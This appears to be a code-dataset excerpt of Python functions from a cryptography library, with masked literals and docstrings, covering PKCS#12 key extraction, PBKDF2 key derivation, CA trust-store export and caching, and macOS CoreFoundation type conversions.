{"signature": "def _parse_safe_contents(safe_contents, certs, private_keys, password):", "body": "if isinstance(safe_contents, byte_cls):<EOL><INDENT>safe_contents = pkcs12.SafeContents.load(safe_contents)<EOL><DEDENT>for safe_bag in safe_contents:<EOL><INDENT>bag_value = safe_bag['<STR_LIT>']<EOL>if isinstance(bag_value, pkcs12.CertBag):<EOL><INDENT>if bag_value['<STR_LIT>'].native == '<STR_LIT>':<EOL><INDENT>cert = bag_value['<STR_LIT>'].parsed<EOL>public_key_info = cert['<STR_LIT>']['<STR_LIT>']<EOL>certs[public_key_info.fingerprint] = bag_value['<STR_LIT>'].parsed<EOL><DEDENT><DEDENT>elif isinstance(bag_value, keys.PrivateKeyInfo):<EOL><INDENT>private_keys[bag_value.fingerprint] = bag_value<EOL><DEDENT>elif isinstance(bag_value, keys.EncryptedPrivateKeyInfo):<EOL><INDENT>encryption_algorithm_info = bag_value['<STR_LIT>']<EOL>encrypted_key_bytes = bag_value['<STR_LIT>'].native<EOL>decrypted_key_bytes = _decrypt_encrypted_data(encryption_algorithm_info, encrypted_key_bytes, password)<EOL>private_key = keys.PrivateKeyInfo.load(decrypted_key_bytes)<EOL>private_keys[private_key.fingerprint] = private_key<EOL><DEDENT>elif isinstance(bag_value, pkcs12.SafeContents):<EOL><INDENT>_parse_safe_contents(bag_value, certs, private_keys, password)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Parses a SafeContents PKCS#12 ANS.1 structure and extracts certs and keys\n\n:param safe_contents:\n    A byte string of ber-encoded SafeContents, or a asn1crypto.pkcs12.SafeContents\n    parsed object\n\n:param certs:\n    A dict to store certificates in\n\n:param keys:\n    A dict to store keys in\n\n:param password:\n    A byte string of the password to any encrypted data", "id": "f9495:m6"}
{"signature": "def _decrypt_encrypted_data(encryption_algorithm_info, encrypted_content, password):", "body": "decrypt_func = crypto_funcs[encryption_algorithm_info.encryption_cipher]<EOL>if encryption_algorithm_info.kdf == '<STR_LIT>':<EOL><INDENT>if encryption_algorithm_info.encryption_cipher == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>enc_key = pbkdf2(<EOL>encryption_algorithm_info.kdf_hmac,<EOL>password,<EOL>encryption_algorithm_info.kdf_salt,<EOL>encryption_algorithm_info.kdf_iterations,<EOL>encryption_algorithm_info.key_length<EOL>)<EOL>enc_iv = encryption_algorithm_info.encryption_iv<EOL>plaintext = decrypt_func(enc_key, encrypted_content, enc_iv)<EOL><DEDENT>elif encryption_algorithm_info.kdf == '<STR_LIT>':<EOL><INDENT>derived_output = pbkdf1(<EOL>encryption_algorithm_info.kdf_hmac,<EOL>password,<EOL>encryption_algorithm_info.kdf_salt,<EOL>encryption_algorithm_info.kdf_iterations,<EOL>encryption_algorithm_info.key_length + <NUM_LIT:8><EOL>)<EOL>enc_key = derived_output[<NUM_LIT:0>:<NUM_LIT:8>]<EOL>enc_iv = derived_output[<NUM_LIT:8>:<NUM_LIT:16>]<EOL>plaintext = decrypt_func(enc_key, encrypted_content, enc_iv)<EOL><DEDENT>elif encryption_algorithm_info.kdf == '<STR_LIT>':<EOL><INDENT>enc_key = pkcs12_kdf(<EOL>encryption_algorithm_info.kdf_hmac,<EOL>password,<EOL>encryption_algorithm_info.kdf_salt,<EOL>encryption_algorithm_info.kdf_iterations,<EOL>encryption_algorithm_info.key_length,<EOL><NUM_LIT:1>  <EOL>)<EOL>if encryption_algorithm_info.encryption_cipher == '<STR_LIT>':<EOL><INDENT>plaintext = decrypt_func(enc_key, encrypted_content)<EOL><DEDENT>else:<EOL><INDENT>enc_iv = pkcs12_kdf(<EOL>encryption_algorithm_info.kdf_hmac,<EOL>password,<EOL>encryption_algorithm_info.kdf_salt,<EOL>encryption_algorithm_info.kdf_iterations,<EOL>encryption_algorithm_info.encryption_block_size,<EOL><NUM_LIT:2>   <EOL>)<EOL>plaintext = decrypt_func(enc_key, encrypted_content, enc_iv)<EOL><DEDENT><DEDENT>return plaintext<EOL>", "docstring": "Decrypts encrypted ASN.1 data\n\n:param encryption_algorithm_info:\n    An instance of asn1crypto.pkcs5.Pkcs5EncryptionAlgorithm\n\n:param encrypted_content:\n    A byte string of the encrypted content\n\n:param password:\n    A byte string of the encrypted content's password\n\n:return:\n    A byte string of the decrypted plaintext", "id": "f9495:m7"}
{"signature": "def constant_compare(a, b):", "body": "if not isinstance(a, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(a)<EOL>))<EOL><DEDENT>if not isinstance(b, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(b)<EOL>))<EOL><DEDENT>if len(a) != len(b):<EOL><INDENT>return False<EOL><DEDENT>if sys.version_info < (<NUM_LIT:3>,):<EOL><INDENT>a = [ord(char) for char in a]<EOL>b = [ord(char) for char in b]<EOL><DEDENT>result = <NUM_LIT:0><EOL>for x, y in zip(a, b):<EOL><INDENT>result |= x ^ y<EOL><DEDENT>return result == <NUM_LIT:0><EOL>", "docstring": "Compares two byte strings in constant time to see if they are equal\n\n:param a:\n    The first byte string\n\n:param b:\n    The second byte string\n\n:return:\n    A boolean if the two byte strings are equal", "id": "f9496:m0"}
{"signature": "def get_path(temp_dir=None, cache_length=<NUM_LIT>, cert_callback=None):", "body": "ca_path, temp = _ca_path(temp_dir)<EOL>if temp and _cached_path_needs_update(ca_path, cache_length):<EOL><INDENT>empty_set = set()<EOL>any_purpose = '<STR_LIT>'<EOL>apple_ssl = '<STR_LIT>'<EOL>win_server_auth = '<STR_LIT>'<EOL>with path_lock:<EOL><INDENT>if _cached_path_needs_update(ca_path, cache_length):<EOL><INDENT>with open(ca_path, '<STR_LIT:wb>') as f:<EOL><INDENT>for cert, trust_oids, reject_oids in extract_from_system(cert_callback, True):<EOL><INDENT>if sys.platform == '<STR_LIT>':<EOL><INDENT>if trust_oids != empty_set and any_purpose not in trust_oidsand apple_ssl not in trust_oids:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT>if reject_oids != empty_set and (apple_ssl in reject_oids<EOL>or any_purpose in reject_oids):<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>elif sys.platform == '<STR_LIT:win32>':<EOL><INDENT>if trust_oids != empty_set and any_purpose not in trust_oidsand win_server_auth not in trust_oids:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT>if reject_oids != empty_set and (win_server_auth in reject_oids<EOL>or any_purpose in reject_oids):<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert), None)<EOL><DEDENT>f.write(armor('<STR_LIT>', cert))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if not ca_path:<EOL><INDENT>raise CACertsError('<STR_LIT>')<EOL><DEDENT>return ca_path<EOL>", "docstring": "Get the filesystem path to a file that contains OpenSSL-compatible CA certs.\n\nOn OS X and Windows, there are extracted from the system certificate store\nand cached in a file on the filesystem. This path should not be writable\nby other users, otherwise they could inject CA certs into the trust list.\n\n:param temp_dir:\n    The temporary directory to cache the CA certs in on OS X and Windows.\n    Needs to have secure permissions so other users can not modify the\n    contents.\n\n:param cache_length:\n    The number of hours to cache the CA certs on OS X and Windows\n\n:param cert_callback:\n    A callback that is called once for each certificate in the trust store.\n    It should accept two parameters: an asn1crypto.x509.Certificate object,\n    and a reason. The reason will be None if the certificate is being\n    exported, otherwise it will be a unicode string of the reason it won't.\n    This is only called on Windows and OS X when passed to this function.\n\n:raises:\n    oscrypto.errors.CACertsError - when an error occurs exporting/locating certs\n\n:return:\n    The full filesystem path to a CA certs file", "id": "f9498:m0"}
{"signature": "def get_list(cache_length=<NUM_LIT>, map_vendor_oids=True, cert_callback=None):", "body": "if not _in_memory_up_to_date(cache_length):<EOL><INDENT>with memory_lock:<EOL><INDENT>if not _in_memory_up_to_date(cache_length):<EOL><INDENT>certs = []<EOL>for cert_bytes, trust_oids, reject_oids in extract_from_system(cert_callback):<EOL><INDENT>if map_vendor_oids:<EOL><INDENT>trust_oids = _map_oids(trust_oids)<EOL>reject_oids = _map_oids(reject_oids)<EOL><DEDENT>certs.append((Certificate.load(cert_bytes), trust_oids, reject_oids))<EOL><DEDENT>_module_values['<STR_LIT>'] = certs<EOL>_module_values['<STR_LIT>'] = time.time()<EOL><DEDENT><DEDENT><DEDENT>return list(_module_values['<STR_LIT>'])<EOL>", "docstring": "Retrieves (and caches in memory) the list of CA certs from the OS. Includes\ntrust information from the OS - purposes the certificate should be trusted\nor rejected for.\n\nTrust information is encoded via object identifiers (OIDs) that are sourced\nfrom various RFCs and vendors (Apple and Microsoft). This trust information\naugments what is in the certificate itself. Any OID that is in the set of\ntrusted purposes indicates the certificate has been explicitly trusted for\na purpose beyond the extended key purpose extension. Any OID in the reject\nset is a purpose that the certificate should not be trusted for, even if\npresent in the extended key purpose extension.\n\n*A list of common trust OIDs can be found as part of the `KeyPurposeId()`\nclass in the `asn1crypto.x509` module of the `asn1crypto` package.*\n\n:param cache_length:\n    The number of hours to cache the CA certs in memory before they are\n    refreshed\n\n:param map_vendor_oids:\n    A bool indicating if the following mapping of OIDs should happen for\n    trust information from the OS trust list:\n     - 1.2.840.113635.100.1.3 (apple_ssl) -> 1.3.6.1.5.5.7.3.1 (server_auth)\n     - 1.2.840.113635.100.1.3 (apple_ssl) -> 1.3.6.1.5.5.7.3.2 (client_auth)\n     - 1.2.840.113635.100.1.8 (apple_smime) -> 1.3.6.1.5.5.7.3.4 (email_protection)\n     - 1.2.840.113635.100.1.9 (apple_eap) -> 1.3.6.1.5.5.7.3.13 (eap_over_ppp)\n     - 1.2.840.113635.100.1.9 (apple_eap) -> 1.3.6.1.5.5.7.3.14 (eap_over_lan)\n     - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.5 (ipsec_end_system)\n     - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.6 (ipsec_tunnel)\n     - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.7 (ipsec_user)\n     - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.17 (ipsec_ike)\n     - 1.2.840.113635.100.1.16 (apple_code_signing) -> 1.3.6.1.5.5.7.3.3 (code_signing)\n     - 1.2.840.113635.100.1.20 (apple_time_stamping) -> 1.3.6.1.5.5.7.3.8 (time_stamping)\n     - 1.3.6.1.4.1.311.10.3.2 (microsoft_time_stamp_signing) -> 1.3.6.1.5.5.7.3.8 (time_stamping)\n\n:param cert_callback:\n    A callback that is called once for each certificate in the trust store.\n    It should accept two parameters: an asn1crypto.x509.Certificate object,\n    and a reason. The reason will be None if the certificate is being\n    exported, otherwise it will be a unicode string of the reason it won't.\n\n:raises:\n    oscrypto.errors.CACertsError - when an error occurs exporting/locating certs\n\n:return:\n    A (copied) list of 3-element tuples containing CA certs from the OS\n    trust ilst:\n     - 0: an asn1crypto.x509.Certificate object\n     - 1: a set of unicode strings of OIDs of trusted purposes\n     - 2: a set of unicode strings of OIDs of rejected purposes", "id": "f9498:m1"}
{"signature": "def clear_cache(temp_dir=None):", "body": "with memory_lock:<EOL><INDENT>_module_values['<STR_LIT>'] = None<EOL>_module_values['<STR_LIT>'] = None<EOL><DEDENT>ca_path, temp = _ca_path(temp_dir)<EOL>if temp:<EOL><INDENT>with path_lock:<EOL><INDENT>if os.path.exists(ca_path):<EOL><INDENT>os.remove(ca_path)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Clears any cached info that was exported from the OS trust store. This will\nensure the latest changes are returned from calls to get_list() and\nget_path(), but at the expense of re-exporting and parsing all certificates.\n\n:param temp_dir:\n    The temporary directory to cache the CA certs in on OS X and Windows.\n    Needs to have secure permissions so other users can not modify the\n    contents. Must be the same value passed to get_path().", "id": "f9498:m2"}
{"signature": "def _ca_path(temp_dir=None):", "body": "ca_path = system_path()<EOL>if ca_path is None:<EOL><INDENT>if temp_dir is None:<EOL><INDENT>temp_dir = tempfile.gettempdir()<EOL><DEDENT>if not os.path.isdir(temp_dir):<EOL><INDENT>raise CACertsError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>temp_dir<EOL>))<EOL><DEDENT>ca_path = os.path.join(temp_dir, '<STR_LIT>')<EOL>return (ca_path, True)<EOL><DEDENT>return (ca_path, False)<EOL>", "docstring": "Returns the file path to the CA certs file\n\n:param temp_dir:\n    The temporary directory to cache the CA certs in on OS X and Windows.\n    Needs to have secure permissions so other users can not modify the\n    contents.\n\n:return:\n    A 2-element tuple:\n     - 0: A unicode string of the file path\n     - 1: A bool if the file is a temporary file", "id": "f9498:m3"}
{"signature": "def _map_oids(oids):", "body": "new_oids = set()<EOL>for oid in oids:<EOL><INDENT>if oid in _oid_map:<EOL><INDENT>new_oids |= _oid_map[oid]<EOL><DEDENT><DEDENT>return oids | new_oids<EOL>", "docstring": "Takes a set of unicode string OIDs and converts vendor-specific OIDs into\ngenerics OIDs from RFCs.\n\n - 1.2.840.113635.100.1.3 (apple_ssl) -> 1.3.6.1.5.5.7.3.1 (server_auth)\n - 1.2.840.113635.100.1.3 (apple_ssl) -> 1.3.6.1.5.5.7.3.2 (client_auth)\n - 1.2.840.113635.100.1.8 (apple_smime) -> 1.3.6.1.5.5.7.3.4 (email_protection)\n - 1.2.840.113635.100.1.9 (apple_eap) -> 1.3.6.1.5.5.7.3.13 (eap_over_ppp)\n - 1.2.840.113635.100.1.9 (apple_eap) -> 1.3.6.1.5.5.7.3.14 (eap_over_lan)\n - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.5 (ipsec_end_system)\n - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.6 (ipsec_tunnel)\n - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.7 (ipsec_user)\n - 1.2.840.113635.100.1.11 (apple_ipsec) -> 1.3.6.1.5.5.7.3.17 (ipsec_ike)\n - 1.2.840.113635.100.1.16 (apple_code_signing) -> 1.3.6.1.5.5.7.3.3 (code_signing)\n - 1.2.840.113635.100.1.20 (apple_time_stamping) -> 1.3.6.1.5.5.7.3.8 (time_stamping)\n - 1.3.6.1.4.1.311.10.3.2 (microsoft_time_stamp_signing) -> 1.3.6.1.5.5.7.3.8 (time_stamping)\n\n:param oids:\n    A set of unicode strings\n\n:return:\n    The original set of OIDs with any mapped OIDs added", "id": "f9498:m4"}
{"signature": "def _cached_path_needs_update(ca_path, cache_length):", "body": "exists = os.path.exists(ca_path)<EOL>if not exists:<EOL><INDENT>return True<EOL><DEDENT>stats = os.stat(ca_path)<EOL>if stats.st_mtime < time.time() - cache_length * <NUM_LIT> * <NUM_LIT>:<EOL><INDENT>return True<EOL><DEDENT>if stats.st_size == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Checks to see if a cache file needs to be refreshed\n\n:param ca_path:\n    A unicode string of the path to the cache file\n\n:param cache_length:\n    An integer representing the number of hours the cache is valid for\n\n:return:\n    A boolean - True if the cache needs to be updated, False if the file\n    is up-to-date", "id": "f9498:m5"}
{"signature": "def _in_memory_up_to_date(cache_length):", "body": "return (<EOL>_module_values['<STR_LIT>'] and<EOL>_module_values['<STR_LIT>'] and<EOL>_module_values['<STR_LIT>'] > time.time() - (cache_length * <NUM_LIT> * <NUM_LIT>)<EOL>)<EOL>", "docstring": "Checks to see if the in-memory cache of certificates is fresh\n\n:param cache_length:\n    An integer representing the number of hours the cache is valid for\n\n:return:\n    A boolean - True if the cache is up-to-date, False if it needs to be\n    refreshed", "id": "f9498:m6"}
{"signature": "def system_path():", "body": "ca_path = None<EOL>paths = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>if '<STR_LIT>' in os.environ:<EOL><INDENT>paths.insert(<NUM_LIT:0>, os.environ['<STR_LIT>'])<EOL><DEDENT>for path in paths:<EOL><INDENT>if os.path.exists(path) and os.path.getsize(path) > <NUM_LIT:0>:<EOL><INDENT>ca_path = path<EOL>break<EOL><DEDENT><DEDENT>if not ca_path:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>return ca_path<EOL>", "docstring": "Tries to find a CA certs bundle in common locations\n\n:raises:\n    OSError - when no valid CA certs bundle was found on the filesystem\n\n:return:\n    The full filesystem path to a CA certs bundle file", "id": "f9501:m0"}
{"signature": "def extract_from_system(cert_callback=None, callback_only_on_failure=False):", "body": "all_purposes = '<STR_LIT>'<EOL>ca_path = system_path()<EOL>output = []<EOL>with open(ca_path, '<STR_LIT:rb>') as f:<EOL><INDENT>for armor_type, _, cert_bytes in unarmor(f.read(), multiple=True):<EOL><INDENT>if armor_type == '<STR_LIT>':<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(cert_bytes), None)<EOL><DEDENT>output.append((cert_bytes, set(), set()))<EOL><DEDENT>elif armor_type == '<STR_LIT>':<EOL><INDENT>cert, aux = TrustedCertificate.load(cert_bytes)<EOL>reject_all = False<EOL>trust_oids = set()<EOL>reject_oids = set()<EOL>for purpose in aux['<STR_LIT>']:<EOL><INDENT>if purpose.dotted == all_purposes:<EOL><INDENT>trust_oids = set([purpose.dotted])<EOL>break<EOL><DEDENT>trust_oids.add(purpose.dotted)<EOL><DEDENT>for purpose in aux['<STR_LIT>']:<EOL><INDENT>if purpose.dotted == all_purposes:<EOL><INDENT>reject_all = True<EOL>break<EOL><DEDENT>reject_oids.add(purpose.dotted)<EOL><DEDENT>if reject_all:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(cert, '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT>if cert_callback and not callback_only_on_failure:<EOL><INDENT>cert_callback(cert, None)<EOL><DEDENT>output.append((cert.dump(), trust_oids, reject_oids))<EOL><DEDENT><DEDENT><DEDENT>return output<EOL>", "docstring": "Extracts trusted CA certs from the system CA cert bundle\n\n:param cert_callback:\n    A callback that is called once for each certificate in the trust store.\n    It should accept two parameters: an asn1crypto.x509.Certificate object,\n    and a reason. The reason will be None if the certificate is being\n    exported, otherwise it will be a unicode string of the reason it won't.\n\n:param callback_only_on_failure:\n    A boolean - if the callback should only be called when a certificate is\n    not exported.\n\n:return:\n    A list of 3-element tuples:\n     - 0: a byte string of a DER-encoded certificate\n     - 1: a set of unicode strings that are OIDs of purposes to trust the\n          certificate for\n     - 2: a set of unicode strings that are OIDs of purposes to reject the\n          certificate for", "id": "f9501:m1"}
{"signature": "def _extract_error():", "body": "error_num = errno()<EOL>try:<EOL><INDENT>error_string = os.strerror(error_num)<EOL><DEDENT>except (ValueError):<EOL><INDENT>return str_cls(error_num)<EOL><DEDENT>if isinstance(error_string, str_cls):<EOL><INDENT>return error_string<EOL><DEDENT>return _try_decode(error_string)<EOL>", "docstring": "Extracts the last OS error message into a python unicode string\n\n:return:\n    A unicode string error message", "id": "f9502:m1"}
{"signature": "def pbkdf2(hash_algorithm, password, salt, iterations, key_length):", "body": "if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT>if not isinstance(salt, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt)<EOL>))<EOL><DEDENT>if not isinstance(iterations, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iterations)<EOL>))<EOL><DEDENT>if iterations < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>algo = {<EOL>'<STR_LIT>': CommonCryptoConst.kCCPRFHmacAlgSHA1,<EOL>'<STR_LIT>': CommonCryptoConst.kCCPRFHmacAlgSHA224,<EOL>'<STR_LIT>': CommonCryptoConst.kCCPRFHmacAlgSHA256,<EOL>'<STR_LIT>': CommonCryptoConst.kCCPRFHmacAlgSHA384,<EOL>'<STR_LIT>': CommonCryptoConst.kCCPRFHmacAlgSHA512<EOL>}[hash_algorithm]<EOL>output_buffer = buffer_from_bytes(key_length)<EOL>result = CommonCrypto.CCKeyDerivationPBKDF(<EOL>CommonCryptoConst.kCCPBKDF2,<EOL>password,<EOL>len(password),<EOL>salt,<EOL>len(salt),<EOL>algo,<EOL>iterations,<EOL>output_buffer,<EOL>key_length<EOL>)<EOL>if result != <NUM_LIT:0>:<EOL><INDENT>raise OSError(_extract_error())<EOL><DEDENT>return bytes_from_buffer(output_buffer)<EOL>", "docstring": "PBKDF2 from PKCS#5\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"sha1\", \"sha224\", \"sha256\", \"sha384\", \"sha512\"\n\n:param password:\n    A byte string of the password to use an input to the KDF\n\n:param salt:\n    A cryptographic random byte string\n\n:param iterations:\n    The numbers of iterations to use when deriving the key\n\n:param key_length:\n    The length of the desired key in bytes\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    The derived key as a byte string", "id": "f9502:m2"}
{"signature": "def rand_bytes(length):", "body": "if not isinstance(length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(length)<EOL>))<EOL><DEDENT>if length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if length > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>buffer = buffer_from_bytes(length)<EOL>result = Security.SecRandomCopyBytes(Security.kSecRandomDefault, length, buffer)<EOL>if result != <NUM_LIT:0>:<EOL><INDENT>raise OSError(_extract_error())<EOL><DEDENT>return bytes_from_buffer(buffer)<EOL>", "docstring": "Returns a number of random bytes suitable for cryptographic purposes\n\n:param length:\n    The desired number of bytes\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string", "id": "f9502:m3"}
{"signature": "def _cast_pointer_p(value):", "body": "return cast(value, pointer_p)<EOL>", "docstring": "Casts a value to a pointer of a pointer\n\n:param value:\n    A ctypes object\n\n:return:\n    A POINTER(c_void_p) object", "id": "f9504:m0"}
{"signature": "@classmethod<EOL><INDENT>def register_native_mapping(cls, type_id, callback):<DEDENT>", "body": "cls._native_map[int(type_id)] = callback<EOL>", "docstring": "Register a function to convert a core foundation data type into its\nequivalent in python\n\n:param type_id:\n    The CFTypeId for the type\n\n:param callback:\n    A callback to pass the CFType object to", "id": "f9504:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def cf_number_to_number(value):<DEDENT>", "body": "type_ = CoreFoundation.CFNumberGetType(_cast_pointer_p(value))<EOL>c_type = {<EOL><NUM_LIT:1>: c_byte,              <EOL><NUM_LIT:2>: ctypes.c_short,      <EOL><NUM_LIT:3>: ctypes.c_int32,      <EOL><NUM_LIT:4>: ctypes.c_int64,      <EOL><NUM_LIT:5>: ctypes.c_float,      <EOL><NUM_LIT:6>: ctypes.c_double,     <EOL><NUM_LIT:7>: c_byte,              <EOL><NUM_LIT:8>: ctypes.c_short,      <EOL><NUM_LIT:9>: ctypes.c_int,        <EOL><NUM_LIT:10>: c_long,             <EOL><NUM_LIT:11>: ctypes.c_longlong,  <EOL><NUM_LIT:12>: ctypes.c_float,     <EOL><NUM_LIT>: ctypes.c_double,    <EOL><NUM_LIT>: c_long,             <EOL><NUM_LIT:15>: ctypes.c_int,       <EOL><NUM_LIT:16>: ctypes.c_double,    <EOL>}[type_]<EOL>output = c_type(<NUM_LIT:0>)<EOL>CoreFoundation.CFNumberGetValue(_cast_pointer_p(value), type_, byref(output))<EOL>return output.value<EOL>", "docstring": "Converts a CFNumber object to a python float or integer\n\n:param value:\n    The CFNumber object\n\n:return:\n    A python number (float or integer)", "id": "f9504:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def cf_dictionary_to_dict(dictionary):<DEDENT>", "body": "dict_length = CoreFoundation.CFDictionaryGetCount(dictionary)<EOL>keys = (CFTypeRef * dict_length)()<EOL>values = (CFTypeRef * dict_length)()<EOL>CoreFoundation.CFDictionaryGetKeysAndValues(<EOL>dictionary,<EOL>_cast_pointer_p(keys),<EOL>_cast_pointer_p(values)<EOL>)<EOL>output = {}<EOL>for index in range(<NUM_LIT:0>, dict_length):<EOL><INDENT>output[CFHelpers.native(keys[index])] = CFHelpers.native(values[index])<EOL><DEDENT>return output<EOL>", "docstring": "Converts a CFDictionary object into a python dictionary\n\n:param dictionary:\n    The CFDictionary to convert\n\n:return:\n    A python dict", "id": "f9504:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def native(cls, value):<DEDENT>", "body": "type_id = CoreFoundation.CFGetTypeID(value)<EOL>if type_id in cls._native_map:<EOL><INDENT>return cls._native_map[type_id](value)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Converts a CF* object into its python equivalent\n\n:param value:\n    The CF* object to convert\n\n:return:\n    The native python object", "id": "f9504:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def cf_string_to_unicode(value):<DEDENT>", "body": "string = CoreFoundation.CFStringGetCStringPtr(<EOL>_cast_pointer_p(value),<EOL>kCFStringEncodingUTF8<EOL>)<EOL>if string is None:<EOL><INDENT>buffer = buffer_from_bytes(<NUM_LIT>)<EOL>result = CoreFoundation.CFStringGetCString(<EOL>_cast_pointer_p(value),<EOL>buffer,<EOL><NUM_LIT>,<EOL>kCFStringEncodingUTF8<EOL>)<EOL>if not result:<EOL><INDENT>raise OSError('<STR_LIT>')<EOL><DEDENT>string = byte_string_from_buffer(buffer)<EOL><DEDENT>if string is not None:<EOL><INDENT>string = string.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return string<EOL>", "docstring": "Creates a python unicode string from a CFString object\n\n:param value:\n    The CFString to convert\n\n:return:\n    A python unicode string", "id": "f9504:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def cf_string_from_unicode(string):<DEDENT>", "body": "return CoreFoundation.CFStringCreateWithCString(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>string.encode('<STR_LIT:utf-8>'),<EOL>kCFStringEncodingUTF8<EOL>)<EOL>", "docstring": "Creates a CFStringRef object from a unicode string\n\n:param string:\n    The unicode string to create the CFString object from\n\n:return:\n    A CFStringRef", "id": "f9504:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def cf_data_to_bytes(value):<DEDENT>", "body": "start = CoreFoundation.CFDataGetBytePtr(value)<EOL>num_bytes = CoreFoundation.CFDataGetLength(value)<EOL>return string_at(start, num_bytes)<EOL>", "docstring": "Extracts a bytestring from a CFData object\n\n:param value:\n    A CFData object\n\n:return:\n    A byte string", "id": "f9504:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def cf_data_from_bytes(bytes_):<DEDENT>", "body": "return CoreFoundation.CFDataCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>bytes_,<EOL>len(bytes_)<EOL>)<EOL>", "docstring": "Creates a CFDataRef object from a byte string\n\n:param bytes_:\n    The data to create the CFData object from\n\n:return:\n    A CFDataRef", "id": "f9504:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def cf_dictionary_from_pairs(pairs):<DEDENT>", "body": "length = len(pairs)<EOL>keys = []<EOL>values = []<EOL>for pair in pairs:<EOL><INDENT>key, value = pair<EOL>keys.append(key)<EOL>values.append(value)<EOL><DEDENT>keys = (CFStringRef * length)(*keys)<EOL>values = (CFTypeRef * length)(*values)<EOL>return CoreFoundation.CFDictionaryCreate(<EOL>CoreFoundation.kCFAllocatorDefault,<EOL>_cast_pointer_p(byref(keys)),<EOL>_cast_pointer_p(byref(values)),<EOL>length,<EOL>kCFTypeDictionaryKeyCallBacks,<EOL>kCFTypeDictionaryValueCallBacks<EOL>)<EOL>", "docstring": "Creates a CFDictionaryRef object from a list of 2-element tuples\nrepresenting the key and value. Each key should be a CFStringRef and each\nvalue some sort of CF* type.\n\n:param pairs:\n    A list of 2-element tuples\n\n:return:\n    A CFDictionaryRef", "id": "f9504:c0:m8"}
